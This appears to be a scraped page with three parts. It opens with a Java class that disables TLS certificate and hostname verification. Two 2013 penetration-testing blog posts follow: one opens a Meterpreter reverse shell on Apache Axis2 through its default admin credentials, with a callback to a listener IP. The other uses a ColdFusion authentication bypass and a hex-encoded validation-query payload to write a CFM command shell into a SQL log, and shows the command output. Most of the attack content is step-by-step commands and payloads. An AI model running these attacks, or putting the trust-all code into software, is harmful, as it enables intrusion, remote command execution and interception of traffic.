public class TrustModifier {
   private static final TrustingHostnameVerifier
      TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();
   private static SSLSocketFactory factory;

   /** Call this with any HttpURLConnection, and it will
    modify the trust settings if it is an HTTPS connection. */
   public static void relaxHostChecking(HttpURLConnection conn)
       throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {

      if (conn instanceof HttpsURLConnection) {
         HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;
         SSLSocketFactory factory = prepFactory(httpsConnection);
         httpsConnection.setSSLSocketFactory(factory);
         httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);
      }
   }

   static synchronized SSLSocketFactory
            prepFactory(HttpsURLConnection httpsConnection)
            throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {

      if (factory == null) {
         SSLContext ctx = SSLContext.getInstance("TLS");
         ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);
         factory = ctx.getSocketFactory();
      }
      return factory;
   }
 
   private static final class TrustingHostnameVerifier implements HostnameVerifier {
      public boolean verify(String hostname, SSLSession session) {
         return true;
      }
   }

   private static class AlwaysTrustManager implements X509TrustManager {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public X509Certificate[] getAcceptedIssuers() { return null; }    
   }
 
}





Tuesday, May 21, 2013

Meterpreter Shell Through Axis Default Creds

Just a quick post on something I worked on yesterday.

Was able to use default credentials to log into the Apache Axis2 administrative interface, the login page URL usually looks something like "axis2/axis2-admin/login". 

The Metasploit module for uploading and executing a malicious Axis service wasn't working. No matter what payload I used it was complaining about the file size being too large. The following is a quick (and obvious) workaround.

1) Modify the code for axis2-deploy.rb at /path/to/msf/modules/exploits/multi/http/axis2_deployer.rb.

Add the following under line 109: File.open("/tmp/payload.jar", 'w') { |file| file.write(contents) }

This will output the payload generated by the script to disk so you can upload it manually.


2) Run the exploit against the target host with the following settings:
set PAYLOAD  java/meterpreter/reverse_https
set LPORT  443
set SSL true
It will fail, but a payload.jar will be created in /tmp/





4) Confirm through the admin interface that the service exists and is activated. Under “List Services” find and click on the name of the service, It will be some random characters.



5) When you click on the service you will be redirected to a WSDL for that service. Copy the URL for this WSDL and import it into a SOAP messaging tool like SOAPUI.



6) Start a reverse handler for the payload:
use multi/handler
set PAYLOAD java/meterpreter/reverse_https
set LPORT 443
set LHOST 128.121.17.148
exploit


7) Call the “run” method of the metasploit service using SOAPUI


When Metasploit modules aren't working properly and you're fairly confident your target is vulnerable, this type of approach is usually worth a shot. In the past I have also proxied Metasploit through BURP to intercept, analyze and modify the requests it was making to a vulnerable web application, which ultimately led to a successful shell after some minor effort.

Tuesday, March 26, 2013

Cool ColdFusion Post Exploitation


So on a recent test I happened to run into an instance of the new(ish) Adobe ColdFusion authentication bypass (http://www.adobe.com/support/security/advisories/apsa13-01.html). This is extremely easy to exploit and gets you access to ColdFusion's administrative interface. If you can find the path to administrator.cfc, accessing the following URL's in sequence is all it should take to get you admin access:

  1. https://<URL>/CFIDE/adminapi/administrator.cfc?method=login&adminpassword=&rdsPasswordAllowed=true
  2. https://<URL>/CFIDE/administrator/
So what can you do from the admin console? See slides 82-102 on post exploitation by Chris Gates http://www.slideshare.net/chrisgates/coldfusion-for-penetration-testers

But what if the machine you're attacking doesn't allow any outbound traffic, or outbound traffic is tightly controlled? This makes it difficult to abuse the "Task Scheduler" to retrieve a file off your remote web server. Another issue I ran into was that the "System Probes" function simply did not exist in the version of ColdFusion I was attacking.

So what's left? Well the if you poke around long enough, you'll notice under the "Advanced Options" for a data source in the "Data Sources" tab under "Data and Services", there are two interesting settings. The first allows you to log all database activity to a file specified on the local server. The second allows you to specify a "Validation Query". This query will be run to check if the current database connection is still alive before any database activity is performed. Unfortunately, the results of the query are NOT returned, so basically we have blind or error based SQL injection here.

We can take advantage of blind/error based SQL injection in a number of ways. The first that comes to mind would be to try and get command execution on the database server itself, if the datasource is MSSQL we can use the well known xp_cmdshell attack. Unfortunately for me, the database permissions were locked down quite tightly.

The second, more reliable, and more interesting way, is to create a CFM command shell by injecting malicious input into the SQL log file! This is possible because we get to choose the name for the log file (for example shell.cfm), and ColdFusion allows us to use the CFM or JSP extensions (JSP only works in the enterprise version).

Unfortunately, by default ColdFusion filters anything in angle brackets "<...>" from our "Validation Query". So we can't just straight up use a Validation Query like the following:

"SELECT '<cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">'

ColdFusion will filter it all out and we'll be left with nothing in our log file.

What we can do is abuse MSSQL to get our desired output in the log file. Consider what you would do if you had error based MSSQL injection? You try to get the server to throw an error that includes the output from your subquery. My favorite way to do that on MSSQL is to CAST to an incompatible type. Consider the following query:

SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636665786563757465206e616d653d22633a5c77696e646f77735c73797374656d33325c636d642e6578652220617267756d656e74733d222f632064697222207661726961626c653d2264617461222074696d656f75743d22313022202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)

Let's look at it from the inside out. First, we cast a bunch of hex (the payload) to a VARCHAR(4000). This is a completely valid cast and will not throw an error, in fact, it will return the following result:

<cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">

Look familiar? Next we do a SELECT TOP 1, this was just necessary because the inner most query returns multiple rows. The outermost query creates the cast that causes the error to be thrown, it tries to cast our payload string to an INT! Well the error includes the text from our shell and since the file extension is CFM, the server will execute it!

So using the shell example I gave here, you should be able to access:
http://<URL>/shell.cfm?cmd=C:\Windows\System32\cmd.exe&opts=%2fc%20dir

And in the response you should see the following:
...
...
*censored*>> Statement[2061].execute(String sql)
*censored*>> sql = SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636673657420636f6d6d616e64203d2075726c5b27636d64275d202f3e3c6366736574206f707473203d2075726c5b276f707473275d202f3e3c636665786563757465206e616d653d2223636f6d6d616e64232220617267756d656e74733d22236f7074732322207661726961626c653d2264617461222074696d656f75743d223222202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)
*censored*>> java.sql.SQLDataException: [Macromedia][SQLServer JDBC Driver][SQLServer]Conversion failed when converting the varchar value ' <style>


table.cfdump_wddx,
table.cfdump_xml,
table.cfdump_struct,
table.cfdump_varundefined,
table.cfdump_array,
...
...
...
 Volume in drive C is ROOT
 Volume Serial Number is YYYYY

 Directory of C:\*CENSORED*

03/26/2013  04:42 PM    &lt;DIR&gt;          .
03/26/2013  04:42 PM    &lt;DIR&gt;          ..
11/08/2007  02:39 PM             2,151 file1.cfm
11/08/2007  02:39 PM             2,813 file2.cfm
07/15/2011  12:57 PM    &lt;DIR&gt;          admin
05/22/2008  03:01 PM             6,076 file3.cfm
07/11/2008  03:32 PM             5,006 file4.cfm
09/21/2011  10:36 AM    &lt;DIR&gt;          dir1
07/15/2011  01:27 PM    &lt;DIR&gt;           dir2
09/17/2008  03:20 PM             1,359 file5.cfm
              XX File(s)    198,665,851 bytes
              XX Dir(s)   6,971,301,888 bytes free ' to data type int. ErrorCode=245 SQLState=22018


And there you have it. We've just bypasses ColdFusions filters to inject a command shell into a SQL log file. Here's a quick recap of the steps:

1) Get access to the admin console via the authentication bypass
2) Find the web root on the server, look under Server Monitoring in the "application" log
3) Edit a datasource: add the malicious validation query highlighted in GREEN above
4) For the same datasource, enable logging of SQL activity to a file in the web root named "shell.cfm"
5) Save the changes (this will cause the "Validation Query" to be issued as well)
6) Access the log at https://<URL>/shell.cfm?cmd=C:\Windows\System32\cmd.exe&opts=%2fc%20dir